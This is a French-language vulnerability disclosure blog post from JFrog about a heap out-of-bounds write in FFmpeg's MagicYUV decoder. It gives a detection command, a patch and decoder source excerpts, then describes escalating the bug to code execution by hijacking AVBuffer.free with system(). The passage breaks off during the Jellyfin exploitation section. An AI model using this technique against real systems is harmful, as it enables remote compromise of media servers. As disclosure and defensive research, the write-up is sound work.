{"id":172254,"date":"2026-08-20T10:41:31","date_gmt":"2026-08-20T08:41:31","guid":{"rendered":"https:\/\/jfrog.com\/blog\/pixelsmash-une-vulnerabilite-critique-dans-ffmpeg-transforme-les-fichiers-multimedias-en-armes\/"},"modified":"2026-09-07T09:54:56","modified_gmt":"2026-09-07T07:54:56","slug":"pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons","status":"publish","type":"post","link":"https:\/\/jfrog.com\/fr\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/","title":{"rendered":"PixelSmash\u00a0: une vuln\u00e9rabilit\u00e9 critique dans FFmpeg transforme les fichiers multim\u00e9dias en armes"},"content":{"rendered":"<p><img decoding=\"async\" class=\"alignnone size-full wp-image-168603\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161456\/Pixelsmash-863x300-1.png\" alt=\"Pixelsmash - 863x300\" width=\"863\" height=\"300\" srcset=\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161456\/Pixelsmash-863x300-1.png?speedsize=w_863 863w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161456\/Pixelsmash-863x300-1.png?speedsize=w_300 300w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161456\/Pixelsmash-863x300-1.png?speedsize=w_768 768w\" sizes=\"(max-width: 863px) 100vw, 863px\" \/><\/p>\n<p>L\u2019\u00e9quipe de recherche en s\u00e9curit\u00e9 de JFrog a r\u00e9cemment d\u00e9couvert et divulgu\u00e9 une vuln\u00e9rabilit\u00e9 critique dans FFmpeg, le framework de traitement multim\u00e9dia le plus largement d\u00e9ploy\u00e9 au monde. La vuln\u00e9rabilit\u00e9 d\u00e9couverte, que nous avons baptis\u00e9e <strong>PixelSmash<\/strong>, porte l&#8217;identifiant <strong>CVE-2026-8461<\/strong>\u00a0. Il s&#8217;agit d&#8217;une \u00e9criture hors limites dans le tas au niveau du d\u00e9codeur MagicYUV (CVSS 8.8 \u00e9lev\u00e9e). Nous avons fait passer cette vuln\u00e9rabilit\u00e9 d\u2019un simple plantage \u00e0 une ex\u00e9cution de code \u00e0 distance fiable\u00a0: il suffit de traiter un seul fichier multim\u00e9dia malveillant.<\/p>\n<p>L\u2019\u00e9criture hors limites suffit \u00e0 faire planter <strong>toute application utilisant FFmpeg<\/strong>\u00a0: des lecteurs vid\u00e9o de bureau comme Kodi et mpv aux g\u00e9n\u00e9rateurs de miniatures des gestionnaires de fichiers Linux, en passant par les pipelines de transcodage cloud et les serveurs multim\u00e9dias auto-h\u00e9berg\u00e9s. Nous avons d\u00e9montr\u00e9 l\u2019exploit complet en obtenant une ex\u00e9cution de code \u00e0 distance sur deux cibles ind\u00e9pendantes\u00a0: un serveur multim\u00e9dia <strong>Jellyfin<\/strong> (via une analyse automatique de la biblioth\u00e8que) et une instance <strong>Nextcloud<\/strong> (via le fournisseur d\u2019aper\u00e7us vid\u00e9o), dans les deux cas, en t\u00e9l\u00e9versant simplement un fichier\u00a0AVI sp\u00e9cialement con\u00e7u de 50\u00a0Ko.<\/p>\n<p><strong>Il est recommand\u00e9 aux utilisateurs de FFmpeg de passer \u00e0 la version corrig\u00e9e d\u00e8s que possible. Si le d\u00e9codeur MagicYUV n\u2019est pas n\u00e9cessaire, il peut \u00eatre d\u00e9sactiv\u00e9 lors du build (voir notre section \u00ab\u00a0Solutions de contournement\u00a0\u00bb ci-dessous).<\/strong><\/p>\n<p>FFmpeg est int\u00e9gr\u00e9 ou li\u00e9 par pratiquement toutes les applications de traitement multim\u00e9dia sur toutes les plateformes, ce qui signifie que la surface d&#8217;exposition est consid\u00e9rable. Nous avons confirm\u00e9 des plantages sur Kodi, mpv, ffmpegthumbnailer (utilis\u00e9 par GNOME, KDE, XFCE), Jellyfin, Emby, Nextcloud, Immich, PhotoPrism et OBS\u00a0Studio, entre autres, et d\u00e9montr\u00e9 une ex\u00e9cution de code \u00e0 distance compl\u00e8te sur Jellyfin.<\/p>\n<p>PixelSmash est une vuln\u00e9rabilit\u00e9 de la cha\u00eene d\u2019approvisionnement logicielle\u00a0: un seul bug dans un seul d\u00e9codeur de codec au sein de FFmpeg, une d\u00e9pendance fondamentale int\u00e9gr\u00e9e dans des centaines de projets en aval, se r\u00e9percute sur chaque application qui est li\u00e9e \u00e0 <strong>libavcodec<\/strong>. Aucun des projets concern\u00e9s (Jellyfin, mpv, Nextcloud, Immich, OBS, vLLM et bien d&#8217;autres) n&#8217;a introduit ce bug. Ils en ont h\u00e9rit\u00e9 silencieusement via leur d\u00e9pendance \u00e0 FFmpeg, et la plupart ne disposent d\u2019aucun m\u00e9canisme pour le d\u00e9tecter ou l\u2019att\u00e9nuer de mani\u00e8re ind\u00e9pendante.<\/p>\n<p>Dans cet article de blog technique, nous expliquerons la cause profonde de la vuln\u00e9rabilit\u00e9, d\u00e9taillerons l\u2019exploitation \u00e9tape par \u00e9tape, du plantage \u00e0 l\u2019ex\u00e9cution de code, et d\u00e9montrerons une ex\u00e9cution de code \u00e0 distance en conditions r\u00e9elles sur un serveur multim\u00e9dia Jellyfin, d\u2019un simple fichier vid\u00e9o t\u00e9l\u00e9vers\u00e9 \u00e0 un reverse shell.<\/p>\n<p>Nous tenons \u00e0 remercier les \u00e9quipes de s\u00e9curit\u00e9 de FFmpeg et Jellyfin pour leur r\u00e9activit\u00e9 dans le traitement de ces probl\u00e8mes.<\/p>\n<h2>Qui est affect\u00e9 par PixelSmash\u00a0?<\/h2>\n<h3>Pr\u00e9requis de l\u2019attaque<\/h3>\n<p>Afin d\u2019exploiter PixelSmash, un auteur d\u2019attaque doit fournir un fichier multim\u00e9dia sp\u00e9cialement con\u00e7u (conteneur AVI, MKV ou MOV) \u00e0 toute application qui d\u00e9code la vid\u00e9o \u00e0 l\u2019aide de libavcodec de FFmpeg. Il s\u2019agit notamment des \u00e9l\u00e9ments suivants\u00a0:<\/p>\n<ul>\n<li aria-level=\"1\"><strong>Bureau\u00a0:<\/strong> un utilisateur ouvre le fichier malveillant dans un lecteur vid\u00e9o, ou parcourt simplement un dossier le contenant (le g\u00e9n\u00e9rateur de miniatures du gestionnaire de fichiers d\u00e9clenche la vuln\u00e9rabilit\u00e9)<\/li>\n<li aria-level=\"1\"><strong>C\u00f4t\u00e9 serveur\u00a0:<\/strong> un utilisateur t\u00e9l\u00e9verse le fichier sur un serveur multim\u00e9dia (Jellyfin, Emby, Nextcloud, Immich), une plateforme de discussion (Slack, Discord, Telegram) ou un service de transcodage cloud (AWS MediaConvert, Cloudflare\u00a0Stream) ; le serveur le traite automatiquement<\/li>\n<li aria-level=\"1\"><strong>Embarqu\u00e9\/IoT\u00a0:<\/strong> tout appareil NAS (Synology, QNAP), smart TV ou appareil multim\u00e9dia qui g\u00e9n\u00e8re des miniatures ou des aper\u00e7us vid\u00e9o<\/li>\n<\/ul>\n<p>Aucune authentification, aucun privil\u00e8ge sp\u00e9cial ou acc\u00e8s pr\u00e9alable au syst\u00e8me cible n\u2019est requis au-del\u00e0 de la capacit\u00e9 de livrer un fichier multim\u00e9dia, la surface d\u2019attaque par d\u00e9faut de toute application de traitement multim\u00e9dia.<\/p>\n<h3>D\u00e9tection<\/h3>\n<p>Pour d\u00e9tecter si votre syst\u00e8me inclut le d\u00e9codeur MagicYUV vuln\u00e9rable, ex\u00e9cutez\u00a0:<\/p>\n<pre class=\"language-shell\"><code>ffmpeg -decoders 2&gt;\/dev\/null | grep magicyuv\r\n<\/code><\/pre>\n<p>Si la sortie inclut VFS..D magicyuv, votre build FFmpeg est vuln\u00e9rable. Le d\u00e9codeur MagicYUV est <strong>activ\u00e9 par d\u00e9faut<\/strong> dans chaque build FFmpeg en amont et dans chaque package de distribution que nous avons test\u00e9 (Ubuntu, Debian, Fedora, Arch, Alpine) avant la version\u00a09.0.<\/p>\n<h3>Solutions de contournement<\/h3>\n<p>S\u2019il n\u2019est pas imm\u00e9diatement possible de mettre \u00e0 niveau FFmpeg\u00a0:<\/p>\n<p><strong>Option 1 &#8211; Proc\u00e9der au rebuild de FFmpeg avec le d\u00e9codeur vuln\u00e9rable d\u00e9sactiv\u00e9\u00a0:<\/strong><\/p>\n<pre class=\"language-shell\"><code>.\/configure --disable-decoder=magicyuv [your other flags]&lt;\r\nmake &amp;&amp; make install<\/code><\/pre>\n<p>&nbsp;<\/p>\n<p>Option 2 &#8211; Appliquer le correctif minimal (7 lignes ajout\u00e9es \u00e0 libavcodec\/magicyuv.c)\u00a0:<\/p>\n<pre class=\"language-c\"><code>\r\n     if (s-&gt;slice_height &lt;= 0 || s-&gt;slice_height &gt; INT_MAX -  avctx-&gt;coded_height) {\r\n         av_log(avctx, AV_LOG_ERROR, \"invalid slice height: %d\\n\",    s-&gt;slice_height);\r\n         return AVERROR_INVALIDDATA;\r\n     }\r\n+    if ((s-&gt;slice_height &gt;&gt; s-&gt;vshift[1]) &lt;= s-&gt;interlaced) {\r\n+        av_log(avctx, AV_LOG_ERROR, \"impossible slice height\\n\");\r\n+        return AVERROR_INVALIDDATA;\r\n+    }\r\n+    if ((avctx-&gt;coded_height % s-&gt;slice_height) &amp;&amp; ((avctx-&gt;coded_height % +        s-&gt;slice_height) &gt;&gt; s-&gt;vshift[1]) &lt;= s-&gt;interlaced) {\r\n+        av_log(avctx, AV_LOG_ERROR, \"impossible height\\n\");\r\n+        return AVERROR_INVALIDDATA;\r\n<\/code><\/pre>\n<p>&nbsp;<\/p>\n<p>Cela rejette les valeurs slice_height mal form\u00e9es qui d\u00e9clenchent l\u2019\u00e9criture OOB. L\u2019encodeur MagicYUV de r\u00e9f\u00e9rence \u00e9met toujours des hauteurs de tranche align\u00e9es, de sorte que cela ne rejette que les entr\u00e9es malveillantes.<\/p>\n<h2>Plong\u00e9e dans la vuln\u00e9rabilit\u00e9 PixelSmash<\/h2>\n<h3>FFmpeg et codecs multim\u00e9dias\u00a0: une surface d\u2019attaque universelle<\/h3>\n<p>FFmpeg est l\u2019\u00e9pine dorsale du traitement multim\u00e9dia dans l\u2019ensemble de l\u2019\u00e9cosyst\u00e8me logiciel. Il est li\u00e9 ou int\u00e9gr\u00e9 par la quasi-totalit\u00e9 des applications qui traitent de la vid\u00e9o\u00a0: des lecteurs de bureau (mpv, VLC) aux serveurs multim\u00e9dias auto-h\u00e9berg\u00e9s (Jellyfin, Plex, Emby), en passant par les pipelines de transcodage cloud (AWS\u00a0MediaConvert, Cloudflare\u00a0Stream) et les environnements de bureau Linux (GNOME, KDE, XFCE l\u2019utilisent pour les miniatures vid\u00e9os).<\/p>\n<p>La biblioth\u00e8que <strong>libavcodec<\/strong> de FFmpeg contient des d\u00e9codeurs pour des centaines de codecs vid\u00e9o et audio. Chaque d\u00e9codeur analyse les donn\u00e9es du flux de bits contr\u00f4l\u00e9 par l\u2019auteur de l\u2019attaque et \u00e9crit les pixels d\u00e9cod\u00e9s dans des tampons de trame allou\u00e9s sur le tas. Un bug dans n\u2019importe quel d\u00e9codeur est accessible depuis toute application qui traite le format multim\u00e9dia correspondant, ce qui fait des bugs de codec l\u2019une des classes de vuln\u00e9rabilit\u00e9s ayant le plus d\u2019impact dans l\u2019\u00e9cosyst\u00e8me logiciel.<\/p>\n<p><strong>MagicYUV<\/strong> est un codec vid\u00e9o sans perte con\u00e7u pour les workflows de montage vid\u00e9o haute performance. Bien qu\u2019il ne soit pas aussi connu que H.264 ou VP9, son d\u00e9codeur est compil\u00e9 dans chaque build FFmpeg par d\u00e9faut et enregistr\u00e9 pour les conteneurs AVI, MKV et MOV. Toute application capable d\u2019ouvrir un fichier vid\u00e9o peut d\u00e9clencher le d\u00e9codeur MagicYUV.<\/p>\n<h2>CVE-2026-8461\u00a0: \u00e9criture hors limites dans le tas dans le d\u00e9codeur MagicYUV<\/h2>\n<h3>Contexte<\/h3>\n<p>En compression vid\u00e9o, une tranche est une r\u00e9gion distincte, divis\u00e9e horizontalement, d\u2019une seule image vid\u00e9o qui peut \u00eatre d\u00e9cod\u00e9e ind\u00e9pendamment du reste de l\u2019image.<\/p>\n<p>La vid\u00e9o num\u00e9rique stocke rarement les images en RVB (rouge, vert, bleu) standard. Au lieu de cela, elle utilise l\u2019espace colorim\u00e9trique YUV, qui divise une image en couches ou \u00ab\u00a0plans\u00a0\u00bb distincts\u00a0:<\/p>\n<ul>\n<li aria-level=\"1\"><strong>Y (plan Luma)\u00a0:<\/strong> les d\u00e9tails de luminosit\u00e9 ou d\u2019\u00e9chelle de gris de l\u2019image. L&#8217;\u0153il humain est incroyablement pr\u00e9cis pour d\u00e9tecter la luminosit\u00e9.<\/li>\n<li aria-level=\"1\"><strong>U et V (plans Chroma)\u00a0:<\/strong> les informations de couleur r\u00e9elles. L&#8217;\u0153il humain per\u00e7oit beaucoup moins bien les d\u00e9tails fins de couleur.<\/li>\n<\/ul>\n<h3>La cause profonde\u00a0: un \u00e9cart d&#8217;arrondi<\/h3>\n<p>La vuln\u00e9rabilit\u00e9 est un d\u00e9passement de tampon sur le tas d\u2019une ligne dans la gestion des tranches du d\u00e9codeur MagicYUV, caus\u00e9 par une incoh\u00e9rence entre la fa\u00e7on dont l\u2019allocateur de trames et le d\u00e9codeur calculent la hauteur des plans Chroma.<\/p>\n<p>MagicYUV encode la vid\u00e9o en tranches horizontales. Pour les formats de pixels sous-\u00e9chantillonn\u00e9s comme YUV420P (o\u00f9 les plans Chroma ont la moiti\u00e9 de la r\u00e9solution verticale du plan Luma), le d\u00e9codeur doit convertir les hauteurs de tranche des lignes Luma en lignes Chroma \u00e0 l\u2019aide de d\u00e9calages \u00e0 droite arrondis \u00e0 l\u2019entier sup\u00e9rieur.<\/p>\n<p>Le probl\u00e8me\u00a0: lorsque slice_height est impair, le d\u00e9calage arrondi \u00e0 l\u2019entier sup\u00e9rieur (AV_CEIL_RSHIFT) ajoute une ligne suppl\u00e9mentaire par tranche. Sur plusieurs tranches, ces lignes suppl\u00e9mentaires s\u2019accumulent au-del\u00e0 de la fin du tampon qui a \u00e9t\u00e9 allou\u00e9 pour le plan Chroma.<\/p>\n<p>Le probl\u00e8me peut \u00eatre d\u00e9compos\u00e9 selon les \u00e9tapes suivantes\u00a0:<\/p>\n<p style=\"padding-left: 40px;\">1. L&#8217;allocateur de trames calcule la hauteur que doit avoir le tampon du plan de chrominance. Dans update_frame_pool (get_buffer.c), la hauteur de la trame est align\u00e9e sur 32, puis divis\u00e9e par deux pour Chroma\u00a0:<\/p>\n<pre class=\"language-c\"><code>allocated chroma rows = AV_CEIL_RSHIFT(FFALIGN(32, 32), 1) = 16\r\n<\/code><\/pre>\n<p>Le tampon du plan de chrominance est allou\u00e9 pour 16 lignes.<\/p>\n<p style=\"padding-left: 40px;\">2.\u00a0Le d\u00e9codeur lit slice_height directement \u00e0 partir du flux de bits contr\u00f4l\u00e9 par l\u2019auteur de l\u2019attaque (magicyuv.c:550)\u00a0:<\/p>\n<pre class=\"language-c\"><code>s-&gt;slice_height = bytestream2_get_le32u(&amp;gb);\r\n<\/code><\/pre>\n<p>Avec notre valeur sp\u00e9cialement con\u00e7ue de slice_height = 31 et coded_height = 32, le d\u00e9codeur calcule\u00a0:<\/p>\n<pre class=\"language-c\"><code>\/\/ magicyuv.c:559 - number of slices\r\ns-&gt;nb_slices = (32 + 31 - 1) \/ 31 = 2;\r\n\r\n\/\/ magicyuv.c:275 - chroma rows per slice (ceiling-rounded)\r\nint sheight = AV_CEIL_RSHIFT(31, 1) = 16;\r\n<\/code><\/pre>\n<p style=\"padding-left: 40px;\">3. Pour la deuxi\u00e8me (derni\u00e8re) tranche, le d\u00e9codeur calcule le pointeur de destination\u00a0:<\/p>\n<pre class=\"language-c\"><code>\r\n\/\/ magicyuv.c:287\r\ndst = p-&gt;data[1] + j * height * stride\r\n    = p-&gt;data[1] + 1 * 16 * stride    \/\/ row 16 of a 16-row buffer!\r\n<\/code><\/pre>\n<p>Le tampon Chroma comporte les lignes\u00a00 \u00e0 15 (16\u00a0lignes). Le d\u00e9codeur \u00e9crit \u00e0 la ligne\u00a016, une ligne compl\u00e8te au-del\u00e0 de la fin de l\u2019allocation.<\/p>\n<p style=\"padding-left: 40px;\">4.\u00a0L\u2019\u00e9criture OOB se d\u00e9clenche. En mode brut, le d\u00e9codeur copie directement les octets contr\u00f4l\u00e9s par l&#8217;attaquant\u00a0:<\/p>\n<pre class=\"language-c\"><code>\r\n\/\/ magicyuv.c:291-294\r\nfor (k = 0; k &lt; height; k++) {\r\n    bytestream_get_buffer(&amp;slice, dst, width);  \/\/ OOB WRITE\r\n    dst += stride;\r\n}\r\n<\/code><\/pre>\n<p>&nbsp;<\/p>\n<p>Avec width = 640 (pour notre coded_width = 1280, divis\u00e9 par deux pour Chroma), cela d\u00e9pose 640\u00a0octets enti\u00e8rement contr\u00f4l\u00e9s par l\u2019auteur de l\u2019attaque dans le bloc de tas qui suit imm\u00e9diatement le tampon du plan Chroma.<\/p>\n<p>La validation existante de slice_height dans magicyuv.c:566 v\u00e9rifie uniquement le chemin de code entrelac\u00e9 \u2013 le chemin non entrelac\u00e9 que nous exploitons ne comporte aucun contr\u00f4le d\u2019alignement\u00a0:<\/p>\n<pre class=\"language-c\"><code>\r\n\/\/ magicyuv.c:566-568 - guard ONLY for interlaced mode\r\nif (s-&gt;interlaced) {\r\n    if ((s-&gt;slice_height &gt;&gt; s-&gt;vshift[1]) &lt; 2)\r\n<\/code><\/pre>\n<p>&nbsp;<\/p>\n<p>Le rapport ASAN du master en amont confirme pr\u00e9cis\u00e9ment le d\u00e9bordement\u00a0:<\/p>\n<pre class=\"language-c\"><code>\r\n==PID==ERROR: AddressSanitizer: heap-buffer-overflow\r\nWRITE of size 512 at 0x52500000214f thread T0\r\n    #2 bytestream_get_buffer  libavcodec\/bytestream.h:367\r\n    #3 magy_decode_slice      libavcodec\/magicyuv.c:292\r\n    #5 magy_decode_frame      libavcodec\/magicyuv.c:630\r\n\r\n0x52500000214f is located 0 bytes after 8271-byte region\r\n<\/code><\/pre>\n<p>&nbsp;<\/p>\n<p><em>Sch\u00e9ma1\u00a0: disposition du tas<\/em><\/p>\n<p><img decoding=\"async\" class=\"alignnone wp-image-168600 size-large\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161320\/Pixelsmash-Diagram-1-1024x677.png\" alt=\"Pixelsmash - \" width=\"1024\" height=\"677\" srcset=\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161320\/Pixelsmash-Diagram-1.png?speedsize=w_1024 1024w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161320\/Pixelsmash-Diagram-1.png?speedsize=w_300 300w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161320\/Pixelsmash-Diagram-1.png?speedsize=w_768 768w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161320\/Pixelsmash-Diagram-1.png?speedsize=w_1380 1380w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<h3>De l\u2019\u00e9criture OOB \u00e0 l\u2019ex\u00e9cution de code\u00a0: d\u00e9tournement d\u2019AVBuffer<\/h3>\n<p>Un d\u00e9passement de tas n&#8217;est utile que si l&#8217;attaquant peut \u00e9craser quelque chose de significatif. Dans la disposition du tas de FFmpeg, la r\u00e9ponse est la structure AVBuffer, l\u2019objet de gestion de tampon \u00e0 comptage de r\u00e9f\u00e9rences que FFmpeg alloue imm\u00e9diatement apr\u00e8s les donn\u00e9es de pixels de chaque plan.<\/p>\n<p>Lorsque FFmpeg termine le d\u00e9codage d\u2019une image, il appelle av_frame_unref, qui parcourt la r\u00e9f\u00e9rence de tampon de chaque plan et appelle av_buffer_unref. Dans av_buffer_unref (libavutil\/buffer.c:133), lorsque le compteur de r\u00e9f\u00e9rences atteint z\u00e9ro\u00a0:<\/p>\n<pre class=\"language-c\"><code>buf-&gt;free(buf-&gt;opaque, buf-&gt;data);\r\n<\/code><\/pre>\n<p>&nbsp;<\/p>\n<p>Il s\u2019agit d\u2019un appel indirect via un pointeur de fonction stock\u00e9 dans le tas. Si nous pouvons \u00e9craser buf-&gt;free avec l\u2019adresse de system() de libc et buf-&gt;opaque avec un pointeur vers une cha\u00eene de commande shell, l\u2019appel indirect devient\u00a0:<\/p>\n<pre class=\"language-c\"><code>system(cmd_string);   \/\/ attacker's shell command executes\r\n<\/code><\/pre>\n<p>&nbsp;<\/p>\n<p>Notre \u00e9criture OOB de 640\u00a0octets tombe directement sur la structure AVBuffer pour le plan Chroma Cb. La disposition du tas dans la r\u00e9gion OOB (captur\u00e9e via GDB sur la version de jellyfin-ffmpeg\u00a07.1.3 fournie avec Jellyfin)\u00a0:<\/p>\n<p>&nbsp;<\/p>\n<pre class=\"language-shell\"><code>\r\nOOB + 0:     [88 bytes of zeros - command string hole]\r\nOOB + 88:    [glibc chunk headers - must be preserved]\r\nOOB + 256:   AVBuffer struct:\r\n  +256         .data      = Cb_data pointer\r\n  +264         .size      = 0x284f\r\n  +272         .refcount  = 1          &lt;- we write 1\r\n  +280         .free      =  &lt;- we overwrite with &amp;system\r\n  +288         .opaque    =  &lt;- we overwrite with &amp;cmd_string OOB + 384: AVBufferRef.buffer -&gt; points back to AVBuffer at +256\r\n<\/code><\/pre>\n<p>&nbsp;<\/p>\n<p>L\u2019exploit place une commande shell termin\u00e9e par NUL au d\u00e9calage OOB 0 (le trou de z\u00e9ros de 88\u00a0octets exempt de m\u00e9tadonn\u00e9es glibc), puis \u00e9crase\u00a0:<\/p>\n<ul>\n<li aria-level=\"1\">AVBuffer.free -&gt; adresse de libc system()<\/li>\n<li aria-level=\"1\">AVBuffer.opaque -&gt; adresse du tas de la cha\u00eene de commande \u00e0 OOB + 0<\/li>\n<li aria-level=\"1\">AVBuffer.refcount -&gt; 1 (de sorte que la d\u00e9cr\u00e9mentation atteigne z\u00e9ro et d\u00e9clenche l\u2019appel)<\/li>\n<\/ul>\n<p>Lorsque av_buffer_unref se d\u00e9clenche pendant le nettoyage normal des trames, l\u2019appel indirect devient system(&#8220;attacker_command&#8221;). Le processus enfant du shell dupliqu\u00e9 ex\u00e9cute la commande avant que le processus parent FFmpeg ne plante suite \u00e0 une corruption ult\u00e9rieure du tas, l\u2019effet secondaire s\u2019est d\u00e9j\u00e0 produit.<\/p>\n<p>Le d\u00e9fi critique\u00a0: les en-t\u00eates de blocs malloc de la glibc au sein de la r\u00e9gion OOB doivent \u00eatre conserv\u00e9s \u00e0 l\u2019identique, sinon les appels \u00e0 free() sur des allocations non li\u00e9es d\u00e9tecteront une corruption et interrompront le processus avant que notre av_buffer_unref d\u00e9tourn\u00e9e ne s\u2019ex\u00e9cute. Notre exploit encode les m\u00e9tadonn\u00e9es exactes du chunk observ\u00e9es dans le tas de la cible dans la charge utile OOB, en utilisant un encodage par pr\u00e9diction gauche pour correspondre \u00e0 l\u2019algorithme de d\u00e9compression de MagicYUV.<\/p>\n<p><em>Sch\u00e9ma2\u00a0: flux d\u2019exploitation<\/em><\/p>\n<p><img decoding=\"async\" class=\"alignnone wp-image-168607 size-large\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161505\/Pixelsmash-Diagram-2-1024x679.png\" alt=\"Pixelsmash Sch\u00e9ma\u00a02\" width=\"1024\" height=\"679\" srcset=\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161505\/Pixelsmash-Diagram-2.png?speedsize=w_1024 1024w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161505\/Pixelsmash-Diagram-2.png?speedsize=w_300 300w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161505\/Pixelsmash-Diagram-2.png?speedsize=w_768 768w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161505\/Pixelsmash-Diagram-2.png?speedsize=w_1400 1400w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<h2>Du plantage \u00e0 la RCE\u00a0: escalader la primitive<\/h2>\n<p>L\u2019\u00e9criture OOB dans le tas n\u2019est pas seulement un d\u00e9ni de service. Nous l\u2019avons fait \u00e9voluer en une ex\u00e9cution de commandes arbitraires fiable contre la version de FFmpeg\u00a07.1.3 fournie avec Jellyfin.<\/p>\n<p>Avertissement important\u00a0: l\u2019ASLR a \u00e9t\u00e9 d\u00e9sactiv\u00e9 pour cette d\u00e9monstration. Notre exploit n\u00e9cessite des adresses cod\u00e9es en dur pour system() et la cha\u00eene de commande OOB, ce qui signifie qu\u2019il ne fonctionne de mani\u00e8re d\u00e9terministe qu\u2019avec l\u2019ASLR d\u00e9sactiv\u00e9 (setarch x86_64 -R). Dans une configuration Linux par d\u00e9faut avec l\u2019ASLR activ\u00e9, les adresses sont rendues al\u00e9atoires \u00e0 chaque ex\u00e9cution, et l\u2019exploit n\u2019aboutit pas. Cependant, nous avons identifi\u00e9 une vuln\u00e9rabilit\u00e9 de fuite d\u2019informations distincte dans le d\u00e9codeur FlashSV de FFmpeg (libavcodec\/flashsv.c), une divulgation de m\u00e9moire tas non initialis\u00e9e pr\u00e9sente dans FFmpeg en amont depuis juillet\u00a02022 et qui n\u2019a toujours pas \u00e9t\u00e9 corrig\u00e9e au moment de la publication. Elle ne peut \u00eatre exploit\u00e9e qu\u2019en utilisant des indicateurs d\u2019environnement sp\u00e9cifiques pour ffmpeg (par ex., -threads\u00a01), la gravit\u00e9 est donc uniquement informative. En principe, une fuite d\u2019informations similaire qui pourrait \u00eatre d\u00e9couverte \u00e0 l\u2019avenir pourrait \u00eatre associ\u00e9e \u00e0 l\u2019\u00e9criture OOB de MagicYUV afin de contourner l\u2019ASLR et d\u2019ex\u00e9cuter du code \u00e0 distance (RCE) malgr\u00e9 la pr\u00e9sence de toutes les mesures d\u2019att\u00e9nuation, mais cet encha\u00eenement n\u00e9cessite des recherches suppl\u00e9mentaires et n\u2019a pas \u00e9t\u00e9 d\u00e9montr\u00e9. L\u2019\u00e9criture OOB MagicYUV seule (sans contournement d\u2019ASLR) suffit pour un DoS fiable contre chaque cible test\u00e9e.<\/p>\n<p>L\u2019escalade a n\u00e9cessit\u00e9 de relever trois d\u00e9fis d\u2019ing\u00e9nierie\u00a0:<\/p>\n<ol>\n<li>Calibrage pr\u00e9cis de la disposition du tas\u00a0: la charge utile OOB doit \u00e9crire les bonnes valeurs aux bons d\u00e9calages pour atteindre la structure AVBuffer. Nous avons cr\u00e9\u00e9 un pipeline d\u2019autocalibrage bas\u00e9 sur GDB qui capture l\u2019\u00e9tat exact du tas avant le d\u00e9clenchement de l\u2019\u00e9criture OOB, extrait tous les qwords de m\u00e9tadonn\u00e9es de blocs et g\u00e9n\u00e8re un fichier AVI\/MKV\/MOV d\u2019exploit chirurgical.<\/li>\n<li>Pr\u00e9servation de l\u2019int\u00e9grit\u00e9 des blocs glibc\u00a0: la r\u00e9gion OOB de 640\u00a0octets contient les en-t\u00eates de bloc malloc glibc (pointeurs de liste libre, tailles de bloc, indicateurs PREV_INUSE). Si m\u00eame un seul d\u2019entre eux est corrompu, les contr\u00f4les d\u2019int\u00e9grit\u00e9 de glibc interrompent le processus avant l\u2019ex\u00e9cution de notre av_buffer_unref d\u00e9tourn\u00e9. Notre exploit conserve exactement les 33\u00a0qwords de m\u00e9tadonn\u00e9es tels qu\u2019ils apparaissent dans le tas actif.<\/li>\n<li>Pr\u00e9servation OOB du plan Cr\u00a0: les deux plans Chroma Cb et Cr comportent des \u00e9critures OOB (une ligne chacun). La r\u00e9gion OOB Cr contient une entr\u00e9e tcache et le bloc principal glibc. Si la taille du bloc principal est corrompue, les appels malloc internes de system() pour fork()\/exec() \u00e9chouent. Notre exploit encode les m\u00e9tadonn\u00e9es exactes du tas Cr pour les pr\u00e9server.<\/li>\n<\/ol>\n<h2>Exploitation dans le monde r\u00e9el\u00a0: RCE du serveur multim\u00e9dia Jellyfin<\/h2>\n<p>Afin de d\u00e9montrer l\u2019impact concret, nous avons obtenu une ex\u00e9cution de code \u00e0 distance compl\u00e8te sur un serveur multim\u00e9dia Jellyfin\u00a010.11.9, le deuxi\u00e8me serveur multim\u00e9dia auto-h\u00e9berg\u00e9 le plus populaire (apr\u00e8s Plex), via son pipeline d\u2019analyse de biblioth\u00e8que multim\u00e9dia classique.<\/p>\n<p>Chemin d\u2019attaque\u00a0: le t\u00e9l\u00e9chargement d\u2019un fichier AVI MagicYUV sp\u00e9cialement con\u00e7u dans la biblioth\u00e8que multim\u00e9dia -&gt; Jellyfin d\u00e9clenche automatiquement ffprobe pour l\u2019extraction des m\u00e9tadonn\u00e9es -&gt; l\u2019\u00e9criture OOB se d\u00e9clenche -&gt; AVBuffer.free est d\u00e9tourn\u00e9 vers system() -&gt; une commande arbitraire 